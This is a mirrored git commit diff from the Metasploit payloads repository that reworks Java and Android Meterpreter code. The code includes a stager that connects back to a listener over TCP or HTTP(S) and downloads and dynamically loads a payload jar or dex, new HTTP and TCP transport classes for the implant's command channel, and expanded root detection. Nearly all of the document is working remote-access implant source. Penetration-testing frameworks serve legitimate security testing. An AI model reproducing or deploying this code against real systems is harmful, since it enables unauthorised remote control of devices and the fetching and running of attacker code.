1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

Merged java

This commit is contained in:
Brent Cook 2015-06-28 13:30:03 -05:00
commit 42b143f92b
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
33 changed files with 1469 additions and 382 deletions

View File

@ -56,7 +56,7 @@ http://maven.apache.org/plugins/maven-idea-plugin/
1. Download the [Android SDK](https://developer.android.com/sdk/index.html), and the [Android NDK](https://developer.android.com/tools/sdk/ndk/index.html) somewhere
2. Launch the `sdk/tool/android` program
3. Install API version 3, and update the "Android SDK Tools" and "Android SDK Platform-tools"
3. Install API version 10, and update the "Android SDK Tools" and "Android SDK Platform-tools"
4. Compile android meterpreter:
```

View File

@ -26,7 +26,7 @@
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<version>3.7.0</version>
<extensions>true</extensions>
</plugin>
@ -38,8 +38,8 @@
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
<!-- platform or api level (api level 10 = platform 2.3)-->
<platform>10</platform>
</sdk>
</configuration>
</plugin>

View File

@ -9,6 +9,7 @@ import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
@ -20,11 +21,10 @@ public class Payload {
public static final String URL = "ZZZZ ";
public static final String CERT_HASH = "WWWW ";
public static final String LHOST = "XXXX127.0.0.1 ";
public static final String LPORT = "YYYY4444 ";
public static final String RETRY_TOTAL = "TTTT ";
public static final String RETRY_WAIT = "SSSS ";
public static final String TIMEOUTS = "TTTT ";
public static long session_expiry;
public static long comm_timeout;
public static long retry_total;
public static long retry_wait;
@ -55,63 +55,86 @@ public class Payload {
String path = currentDir.getAbsolutePath();
parameters = new String[]{path};
}
int retryTotal;
int retryWait;
long sessionExpiry;
long commTimeout;
long retryTotal;
long retryWait;
String[] timeouts = TIMEOUTS.substring(4).trim().split("-");
try {
retryTotal = Integer.parseInt(RETRY_TOTAL.substring(4).trim());
retryWait = Integer.parseInt(RETRY_WAIT.substring(4).trim());
sessionExpiry = Integer.parseInt(timeouts[0]);
commTimeout = Integer.parseInt(timeouts[1]);
retryTotal = Integer.parseInt(timeouts[2]);
retryWait = Integer.parseInt(timeouts[3]);
} catch (NumberFormatException e) {
return;
}
long payloadStart = System.currentTimeMillis();
session_expiry = TimeUnit.SECONDS.toMillis(sessionExpiry) + payloadStart;
comm_timeout = TimeUnit.SECONDS.toMillis(commTimeout);
retry_total = TimeUnit.SECONDS.toMillis(retryTotal);
retry_wait = TimeUnit.SECONDS.toMillis(retryWait);
while (System.currentTimeMillis() < payloadStart + retry_total) {
String url = URL.substring(4).trim();
// technically we need to check for session expiry here as well.
while (System.currentTimeMillis() < payloadStart + retry_total &&
System.currentTimeMillis() < session_expiry) {
try {
if (URL.substring(4).trim().length() == 0) {
reverseTCP();
if (url.startsWith("tcp")) {
runStagefromTCP(url);
} else {
reverseHTTP();
runStageFromHTTP(url);
}
return;
break;
} catch (Exception e) {
e.printStackTrace();
}
try {
Thread.sleep(retry_wait);
} catch (InterruptedException e) {
return;
break;
}
}
}
private static void reverseHTTP() throws Exception {
String lurl = URL.substring(4).trim();
private static void runStageFromHTTP(String url) throws Exception {
InputStream inStream;
if (lurl.startsWith("https")) {
URLConnection uc = new URL(lurl).openConnection();
if (url.startsWith("https")) {
URLConnection uc = new URL(url).openConnection();
Class.forName("com.metasploit.stage.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, uc);
inStream = uc.getInputStream();
} else {
inStream = new URL(lurl).openStream();
inStream = new URL(url).openStream();
}
OutputStream out = new ByteArrayOutputStream();
DataInputStream in = new DataInputStream(inStream);
loadStage(in, out, parameters);
readAndRunStage(in, out, parameters);
}
private static void reverseTCP() throws Exception {
String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, parameters);
private static void runStagefromTCP(String url) throws Exception {
// string is in the format: tcp://host:port
String[] parts = url.split(":");
int port = Integer.parseInt(parts[2]);
String host = parts[1].split("/")[2];
Socket sock = null;
if (host.equals("")) {
ServerSocket server = new ServerSocket(port);
sock = server.accept();
server.close();
} else {
sock = new Socket(host, port);
}
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
if (sock != null) {
sock.setSoTimeout(500);
DataInputStream in = new DataInputStream(sock.getInputStream());
OutputStream out = new DataOutputStream(sock.getOutputStream());
readAndRunStage(in, out, parameters);
}
}
private static void readAndRunStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = parameters[0];
String filePath = path + File.separatorChar + "payload.jar";
String dexPath = path + File.separatorChar + "payload.dex";
@ -146,5 +169,6 @@ public class Payload {
myClass.getMethod("start",
new Class[]{DataInputStream.class, OutputStream.class, String[].class})
.invoke(stage, in, out, parameters);
System.exit(0);
}
}

View File

@ -47,7 +47,7 @@
<plugin>
<groupId>com.jayway.maven.plugins.android.generation2</groupId>
<artifactId>android-maven-plugin</artifactId>
<version>3.5.3</version>
<version>3.7.0</version>
<extensions>true</extensions>
</plugin>
@ -59,8 +59,8 @@
<artifactId>android-maven-plugin</artifactId>
<configuration>
<sdk>
<!-- platform or api level (api level 4 = platform 1.6)-->
<platform>3</platform>
<!-- platform or api level (api level 10 = platform 2.3)-->
<platform>10</platform>
</sdk>
</configuration>
</plugin>

View File

@ -10,7 +10,7 @@ import dalvik.system.DexClassLoader;
import javapayload.stage.Stage;
/**
* Meterpreter Java Payload Proxy
* Meterpreter Android Payload Proxy
*/
public class Meterpreter implements Stage {

View File

@ -17,7 +17,7 @@ import com.metasploit.meterpreter.android.webcam_get_frame_android;
import com.metasploit.meterpreter.android.webcam_list_android;
import com.metasploit.meterpreter.android.webcam_start_android;
import com.metasploit.meterpreter.android.webcam_stop_android;
import com.metasploit.meterpreter.core.core_transport_set_timeouts;
import com.metasploit.meterpreter.stdapi.Loader;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_fs_file;
import com.metasploit.meterpreter.stdapi.channel_create_stdapi_net_tcp_client;
@ -111,7 +111,6 @@ public class AndroidMeterpreter extends Meterpreter {
getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager();
Loader.cwd = new File(writeableDir);
mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class);
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);

View File

@ -9,8 +9,8 @@ import com.metasploit.meterpreter.command.Command;
public class check_root_android implements Command {
private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_CHECK_ROOT_BOOL = TLVPacket.TLV_META_TYPE_BOOL
| (TLV_EXTENSIONS + 9019);
private static final int TLV_TYPE_CHECK_ROOT_BOOL =
TLVPacket.TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019);
@Override
public int execute(Meterpreter meterpreter, TLVPacket request,
@ -27,21 +27,29 @@ public class check_root_android implements Command {
return true;
}
try {
File file = new File("/system/app/Superuser.apk");
if (file.exists()) {
return true;
}
} catch (Exception e1) {
}
return canExecuteCommand("/system/xbin/which su")
return fileInstalled("/system/app/SuperSU")
|| fileInstalled("/system/app/SuperSU.apk")
|| fileInstalled("/system/app/Superuser")
|| fileInstalled("/system/app/Superuser.apk")
|| fileInstalled("/system/xbin/su")
|| fileInstalled("/system/xbin/_su")
|| canExecuteCommand("/system/xbin/which su")
|| canExecuteCommand("/system/bin/which su")
|| canExecuteCommand("which su");
}
private static boolean fileInstalled(String packageName) {
boolean installed;
try {
File file = new File("/system/app/" + packageName);
installed = file.exists();
} catch (Exception e1){
installed = false;
}
return installed;
}
private static boolean canExecuteCommand(String command) {
boolean executedSuccesfully;
try {

View File

@ -1,24 +0,0 @@
package com.metasploit.meterpreter.core;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.stage.Payload;
import java.util.concurrent.TimeUnit;
public class core_transport_set_timeouts implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Integer retryTotal = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, null);
Integer retryWait = (Integer)request.getValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, null);
if (retryTotal != null) {
Payload.retry_total = TimeUnit.SECONDS.toMillis(retryTotal.intValue());
}
if (retryWait != null) {
Payload.retry_wait = TimeUnit.SECONDS.toMillis(retryWait.intValue());
}
return ERROR_SUCCESS;
}
}

View File

@ -19,6 +19,7 @@ public class DebugLoader {
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
String url = "tcp://" + args[0] + ":" + args[1];
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());

View File

@ -20,7 +20,8 @@ public class URLDebugLoader {
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
String url = "http://" + args[0] + ":" + args[1] + "/INITJM";
URL initURL = new URL(url);
DataInputStream in = new DataInputStream(initURL.openStream());
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
int coreLen = in.readInt();

View File

@ -1,5 +1,6 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;
@ -40,9 +41,10 @@ public class CommandManager {
String javaversion = System.getProperty("java.version");
if (javaversion != null && javaversion.length() > 2) {
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion) {
apiVersion = vmVersion;
}
}
this.javaVersion = apiVersion;
// load core commands
@ -79,20 +81,27 @@ public class CommandManager {
* @param secondVersion Minimum Java version for the second implementation
*/
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
if (secondVersion < version)
if (secondVersion < version) {
throw new IllegalArgumentException("secondVersion must be larger than version");
}
if (javaVersion < version) {
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
return;
}
if (javaVersion >= secondVersion)
if (javaVersion >= secondVersion) {
version = secondVersion;
}
if (version != ExtensionLoader.V1_2) {
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
}
Command cmd = (Command) commandClass.newInstance();
registeredCommands.put(command, cmd);
Command x = (Command)registeredCommands.get(command);
newCommands.add(command);
}
@ -101,11 +110,33 @@ public class CommandManager {
*/
public Command getCommand(String name) {
Command cmd = (Command) registeredCommands.get(name);
if (cmd == null)
if (cmd == null) {
cmd = NotYetImplementedCommand.INSTANCE;
}
return cmd;
}
public int executeCommand(Meterpreter met, TLVPacket request, TLVPacket response) throws IOException {
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
Command cmd = this.getCommand(method);
int result;
try {
result = cmd.execute(met, request, response);
} catch (Throwable t) {
t.printStackTrace(met.getErrorStream());
result = Command.ERROR_FAILURE;
}
if (result == Command.EXIT_DISPATCH) {
response.add(TLVType.TLV_TYPE_RESULT, Command.ERROR_SUCCESS);
} else {
response.add(TLVType.TLV_TYPE_RESULT, result);
}
return result;
}
/**
* Reset the list of commands loaded by the last core_loadlib call
*/

View File

@ -0,0 +1,300 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import com.metasploit.meterpreter.command.Command;
public class HttpTransport extends Transport {
private static final int UA_LEN = 256;
private static final int PROXY_HOST_LEN = 128;
private static final int PROXY_USER_LEN = 64;
private static final int PROXY_PASS_LEN = 64;
private static final int CERT_HASH_LEN = 20;
private static final String TRUST_MANAGER = "com.metasploit.meterpreter.PayloadTrustManager";
private static final byte[] RECV = new byte[]{'R', 'E', 'C', 'V'};
private URL targetUrl = null;
private URL nextUrl = null;
private String userAgent;
private String proxy;
private String proxyUser;
private String proxyPass;
private byte[] certHash;
public HttpTransport(String url) throws MalformedURLException {
super(url);
this.targetUrl = new URL(url);
}
public void bind(DataInputStream in, OutputStream rawOut) {
// http, we don't bind to anything as we're stateless
}
public boolean switchUri(String uri) {
try {
// can't use getAuthority() here thanks to java 1.2. Ugh.
String newUrl = this.targetUrl.getProtocol() + "://"
+ this.targetUrl.getHost() + ":"
+ this.targetUrl.getPort()
+ uri;
this.nextUrl = new URL(newUrl);
return true;
}
catch (MalformedURLException ex) {
return false;
}
}
public int parseConfig(byte[] configuration, int offset) {
offset = this.parseTimeouts(configuration, offset);
this.proxy = Meterpreter.readString(configuration, offset, PROXY_HOST_LEN);
offset += PROXY_HOST_LEN;
this.proxyUser = Meterpreter.readString(configuration, offset, PROXY_USER_LEN);
offset += PROXY_USER_LEN;
this.proxyPass = Meterpreter.readString(configuration, offset, PROXY_PASS_LEN);
offset += PROXY_PASS_LEN;
this.userAgent = Meterpreter.readString(configuration, offset, UA_LEN);
offset += UA_LEN;
this.certHash = null;
byte[] loadedHash = Meterpreter.readBytes(configuration, offset, CERT_HASH_LEN);
offset += CERT_HASH_LEN;
// we only store the cert hash value if it's got a value
for (int i = 0; i < loadedHash.length; i++) {
if (loadedHash[i] != 0) {
this.certHash = loadedHash;
break;
}
}
return offset;
}
public String getUserAgent() {
return this.userAgent;
}
public void setUserAgent(String userAgent) {
this.userAgent = userAgent;
}
public String getProxy() {
return this.proxy;
}
public void setProxy(String proxy) {
this.proxy = proxy;
}
public String getProxyUser() {
return this.proxyUser;
}
public void setProxyUser(String proxyUser) {
this.proxyUser = proxyUser;
}
public String getProxyPass() {
return this.proxyPass;
}
public void setProxyPass(String proxyPass) {
this.proxyPass = proxyPass;
}
public byte[] getCertHash() {
return this.certHash;
}
public void setCertHash(byte[] certHash) {
this.certHash = certHash;
}
public void disconnect() {
}
protected boolean tryConnect(Meterpreter met) throws IOException {
URLConnection conn = this.createConnection();
if (conn == null) {
return false;
}
OutputStream outputStream = conn.getOutputStream();
outputStream.write(RECV);
outputStream.close();
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
int len = inputStream.readInt();
int type = inputStream.readInt();
TLVPacket request = new TLVPacket(inputStream, len - 8);
inputStream.close();
// things are looking good, handle the packet and return true, as this
// is the situation that happens on initial connect (not reconnect)
TLVPacket response = request.createResponse();
int result = met.getCommandManager().executeCommand(met, request, response);
this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE);
return true;
}
catch (EOFException ex) {
// this can happens on reconnect
return true;
}
catch (Exception ex) {
}
// we get here, thins aren't good.
return false;
}
public TLVPacket readPacket() throws IOException {
URLConnection conn = this.createConnection();
if (conn == null) {
return null;
}
OutputStream outputStream = conn.getOutputStream();
outputStream.write(RECV);
outputStream.close();
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
int len = inputStream.readInt();
int type = inputStream.readInt();
TLVPacket request = new TLVPacket(inputStream, len - 8);
inputStream.close();
return request;
}
catch (EOFException ex) {
}
return null;
}
public void writePacket(TLVPacket packet, int type) throws IOException {
URLConnection conn = this.createConnection();
if (conn == null) {
return;
}
byte[] data = packet.toByteArray();
DataOutputStream outputStream = new DataOutputStream(conn.getOutputStream());
outputStream.writeInt(data.length + 8);
outputStream.writeInt(type);
outputStream.write(data);
outputStream.flush();
outputStream.close();
DataInputStream inputStream = new DataInputStream(conn.getInputStream());
try {
int len = inputStream.readInt();
type = inputStream.readInt();
// not really worried about the response, we just want to read a packet out of it
// and move on
new TLVPacket(inputStream, len - 8);
inputStream.close();
}
catch (EOFException ex) {
// log error?
}
}
public boolean dispatch(Meterpreter met) {
long lastPacket = System.currentTimeMillis();
long ecount = 0;
while (!met.hasSessionExpired() &&
System.currentTimeMillis() < lastPacket + this.commTimeout) {
try {
TLVPacket request = this.readPacket();
if (request != null) {
ecount = 0;
// got a packet, update the timestamp
lastPacket = System.currentTimeMillis();
TLVPacket response = request.createResponse();
int result = met.getCommandManager().executeCommand(met, request, response);
this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE);
if (result == Command.EXIT_DISPATCH) {
return true;
}
} else {
long delay = ecount++ * 10;
if (ecount >= 10) {
delay *= 10;
}
met.sleep(Math.min(10000, delay));
}
} catch (Exception ex) {
// any other type of exception isn't good.
break;
}
// see if we switched URLs along the way, and if we did, move it on over.
// This is really only used for stageless payloads (not yet implemented in
// msf for this, but we're getting there). The command for this hasn't yet
// been wired in.
if (this.nextUrl != null) {
this.url = this.nextUrl.toString();
this.targetUrl = this.nextUrl;
this.nextUrl = null;
}
}
// if we get here we assume things aren't good.
return false;
}
private URLConnection createConnection() {
URLConnection conn = null;
try {
conn = this.targetUrl.openConnection();
if (this.targetUrl.getProtocol().equals("https")) {
try {
Class.forName(TRUST_MANAGER).getMethod("useFor", new Class[]{URLConnection.class})
.invoke(null, new Object[]{conn});
}
catch (Exception ex) {
// perhaps log?
}
}
conn.setDoOutput(true);
}
catch (IOException ex) {
if (conn != null) {
conn = null;
}
}
return conn;
}
}

View File

@ -8,9 +8,11 @@ import java.io.EOFException;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
@ -27,13 +29,11 @@ import com.metasploit.meterpreter.core.core_loadlib;
*/
public class Meterpreter {
private static final int PACKET_TYPE_REQUEST = 0;
private static final int PACKET_TYPE_RESPONSE = 1;
public static final int UUID_LEN = 16;
public static final int URL_LEN = 512;
private List/* <Channel> */channels = new ArrayList();
private final CommandManager commandManager;
private final DataInputStream in;
private final DataOutputStream out;
private final Random rnd = new Random();
private final ByteArrayOutputStream errBuffer;
private final PrintStream err;
@ -41,6 +41,92 @@ public class Meterpreter {
private List/* <byte[]> */tlvQueue = null;
private final TransportList transports = new TransportList();
private int ignoreBlocks = 0;
private byte[] uuid;
private long sessionExpiry;
private void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException {
// socket handle is 4 bytes, followed by exit func, both of
// which we ignore.
int csr = 8;
// We start with the expiry, which is a 32 bit int
setExpiry(unpack32(configuration, csr));
csr += 4;
// this is followed with the UUID
this.uuid = readBytes(configuration, csr, UUID_LEN);
csr += UUID_LEN;
// here we need to loop through all the given transports, we know that we're
// going to get at least one.
while (configuration[csr] != '\0') {
// read the transport URL
String url = readString(configuration, csr, URL_LEN);
csr += URL_LEN;
Transport t = null;
if (url.startsWith("tcp")) {
t = new TcpTransport(url);
} else {
t = new HttpTransport(url);
}
csr = t.parseConfig(configuration, csr);
if (this.transports.isEmpty()) {
t.bind(in, rawOut);
}
this.transports.add(t);
}
// we don't currently support extensions, so when we reach the end of the
// list of transports we just bomb out.
}
public byte[] getUUID() {
return this.uuid;
}
public long getExpiry() {
return (this.sessionExpiry - System.currentTimeMillis()) / Transport.MS;
}
public int getIgnoreBlocks() {
return this.ignoreBlocks;
}
public void setExpiry(long seconds) {
this.sessionExpiry = System.currentTimeMillis() + seconds * Transport.MS;
}
public void sleep(long milliseconds) {
try {
Thread.sleep(milliseconds);
} catch (InterruptedException ex) {
// ignore
}
}
public static String readString(byte[] bytes, int offset, int size) {
return new String(readBytes(bytes, offset, size)).trim();
}
public static byte[] readBytes(byte[] bytes, int offset, int size) {
byte[] buf = new byte[size];
System.arraycopy(bytes, offset, buf, 0, size);
return buf;
}
public static int unpack32(byte[] bytes, int offset) {
int res = 0;
for (int i = 0; i < 4; i++) {
res = res | (((int)bytes[i + offset]) & 0xFF) << (i * 8);
}
return res;
}
/**
* Initialize the meterpreter.
*
@ -65,11 +151,23 @@ public class Meterpreter {
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
int configLen = in.readInt();
byte[] configBytes = new byte[configLen];
in.readFully(configBytes);
loadConfiguration(in, rawOut, configBytes);
// after the configuration block is a 32 bit integer that tells us
// how many stages were wired into the payload. We need to stash this
// because in the case of TCP comms, we need to skip this number of
// blocks down the track when we reconnect. We have to store this in
// the meterpreter class instead of the TCP comms class though
this.ignoreBlocks = in.readInt();
this.loadExtensions = loadExtensions;
this.in = in;
this.out = new DataOutputStream(rawOut);
commandManager = new CommandManager();
channels.add(null); // main communication channel?
this.commandManager = new CommandManager();
this.channels.add(null); // main communication channel?
if (redirectErrors) {
errBuffer = new ByteArrayOutputStream();
err = new PrintStream(errBuffer);
@ -82,21 +180,29 @@ public class Meterpreter {
}
}
public TransportList getTransports() {
return this.transports;
}
public boolean hasSessionExpired() {
return System.currentTimeMillis() > this.sessionExpiry;
}
public void startExecuting() throws Exception {
try {
while (true) {
int len = in.readInt();
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new IOException("Invalid packet type: " + ptype);
TLVPacket request = new TLVPacket(in, len - 8);
TLVPacket response = executeCommand(request);
if (response != null)
writeTLV(PACKET_TYPE_RESPONSE, response);
while (!this.hasSessionExpired() && this.transports.current() != null) {
if (!this.transports.current().connect(this)) {
continue;
}
} catch (EOFException ex) {
boolean cleanExit = this.transports.current().dispatch(this);
this.transports.current().disconnect();
if (cleanExit && !this.transports.changeRequested()) {
break;
}
this.transports.moveNext(this);
}
out.close();
synchronized (this) {
for (Iterator it = channels.iterator(); it.hasNext(); ) {
Channel c = (Channel) it.next();
@ -110,148 +216,6 @@ public class Meterpreter {
return "com.metasploit.meterpreter.PayloadTrustManager";
}
/**
* Write a TLV packet to this meterpreter's output stream.
*
* @param type The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
* @param packet The packet to send
*/
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
byte[] data = packet.toByteArray();
if (tlvQueue != null) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeInt(data.length + 8);
dos.writeInt(type);
dos.write(data);
tlvQueue.add(baos.toByteArray());
return;
}
synchronized (out) {
out.writeInt(data.length + 8);
out.writeInt(type);
out.write(data);
out.flush();
}
}
/**
* Execute a command request.
*
* @param request The request to execute
* @return The response packet to send back
*/
private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
if (method.equals("core_switch_url")) {
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
return null;
} else if (method.equals("core_shutdown")) {
return null;
}
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
int result;
try {
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
/**
* Poll from a given URL until a shutdown request is received.
*
* @param url
*/
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
synchronized (this) {
tlvQueue = new ArrayList();
}
int ecount = 0;
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
byte[] outPacket = null;
synchronized (this) {
if (tlvQueue.size() > 0)
outPacket = (byte[]) tlvQueue.remove(0);
}
TLVPacket request = null;
try {
URLConnection uc = url.openConnection();
if (url.getProtocol().equals("https")) {
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
try {
Class.forName(getPayloadTrustManager()).getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
} catch (Exception ex) {
ex.printStackTrace(getErrorStream());
}
}
uc.setDoOutput(true);
OutputStream out = uc.getOutputStream();
out.write(outPacket == null ? RECV : outPacket);
out.close();
DataInputStream in = new DataInputStream(uc.getInputStream());
int len;
try {
len = in.readInt();
} catch (EOFException ex) {
len = -1;
}
if (len != -1) {
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new RuntimeException("Invalid packet type: " + ptype);
request = new TLVPacket(in, len - 8);
}
in.close();
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
} catch (IOException ex) {
ex.printStackTrace(getErrorStream());
// URL not reachable
if (outPacket != null) {
synchronized (this) {
tlvQueue.add(0, outPacket);
}
}
}
if (request != null) {
ecount = 0;
TLVPacket response = executeCommand(request);
if (response == null)
break;
writeTLV(PACKET_TYPE_RESPONSE, response);
} else if (outPacket == null) {
int delay;
if (ecount < 10) {
delay = 10 * ecount;
} else {
delay = 100 * ecount;
}
ecount++;
try {
Thread.sleep(Math.min(10000, delay));
} catch (InterruptedException ex) {
// ignore
}
}
}
synchronized (this) {
tlvQueue = new ArrayList();
}
}
/**
* Get the command manager, used to register or lookup commands.
*/
@ -288,10 +252,12 @@ public class Meterpreter {
*/
public Channel getChannel(int id, boolean throwIfNonexisting) {
Channel result = null;
if (id < channels.size())
if (id < channels.size()) {
result = (Channel) channels.get(id);
if (result == null && throwIfNonexisting)
}
if (result == null && throwIfNonexisting) {
throw new IllegalArgumentException("Channel " + id + " does not exist.");
}
return result;
}
@ -306,8 +272,9 @@ public class Meterpreter {
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
*/
public int getErrorBufferLength() {
if (errBuffer == null)
if (errBuffer == null) {
return -1;
}
return errBuffer.size();
}
@ -315,8 +282,9 @@ public class Meterpreter {
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
*/
public byte[] getErrorBuffer() {
if (errBuffer == null)
if (errBuffer == null) {
return null;
}
synchronized (errBuffer) {
byte[] result = errBuffer.toByteArray();
errBuffer.reset();
@ -337,7 +305,7 @@ public class Meterpreter {
requestID[i] = (char) ('A' + rnd.nextInt(26));
}
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
writeTLV(PACKET_TYPE_REQUEST, tlv);
this.transports.current().writePacket(tlv, TLVPacket.PACKET_TYPE_REQUEST);
}
/**

View File

@ -20,6 +20,9 @@ import java.util.Map;
public class TLVPacket {
// constants
public static final int PACKET_TYPE_REQUEST = 0;
public static final int PACKET_TYPE_RESPONSE = 1;
public static final int TLV_META_TYPE_NONE = 0;
public static final int TLV_META_TYPE_STRING = (1 << 16);
@ -178,8 +181,9 @@ public class TLVPacket {
*/
public Object getValue(int type) {
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
if (indices == null)
if (indices == null) {
throw new IllegalArgumentException("Cannot find type " + type);
}
// the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour.
return valueList.get(((Integer) indices.get(0)).intValue());
@ -191,8 +195,9 @@ public class TLVPacket {
public List getValues(int type) {
ArrayList values = new ArrayList();
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
if (indices == null)
if (indices == null) {
throw new IllegalArgumentException("Cannot find type " + type);
}
for (int i = 0; i < indices.size(); ++i) {
values.add(valueList.get(((Integer) indices.get(i)).intValue()));
@ -205,8 +210,9 @@ public class TLVPacket {
*/
public Object getValue(int type, Object defaultValue) {
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
if (indices == null)
if (indices == null) {
return defaultValue;
}
// the indices variable is an ArrayList so by default return the first to
// preserve existing behaviour.
return valueList.get(((Integer) indices.get(0)).intValue());
@ -254,6 +260,20 @@ public class TLVPacket {
return (byte[]) getValue(type);
}
/**
* Get the value associated to a type as a byte array.
*/
public byte[] getRawValue(int type, byte[] defaultValue) {
return (byte[]) getValue(type, defaultValue);
}
public TLVPacket createResponse() throws IOException {
TLVPacket response = new TLVPacket();
response.add(TLVType.TLV_TYPE_METHOD, this.getStringValue(TLVType.TLV_TYPE_METHOD));
response.add(TLVType.TLV_TYPE_REQUEST_ID, this.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
return response;
}
/**
* Write all the values to an output stream.
*/

View File

@ -0,0 +1,212 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.SocketTimeoutException;
import com.metasploit.meterpreter.command.Command;
public class TcpTransport extends Transport {
private Socket sock = null;
private DataInputStream inputStream = null;
private DataOutputStream outputStream = null;
private String host;
private int port;
// This whole thing exists just so that we can deal with
// the fact that MSF thinks we've 'died' (and therefore
// it hangs) when we terminate the socket. We need to wait
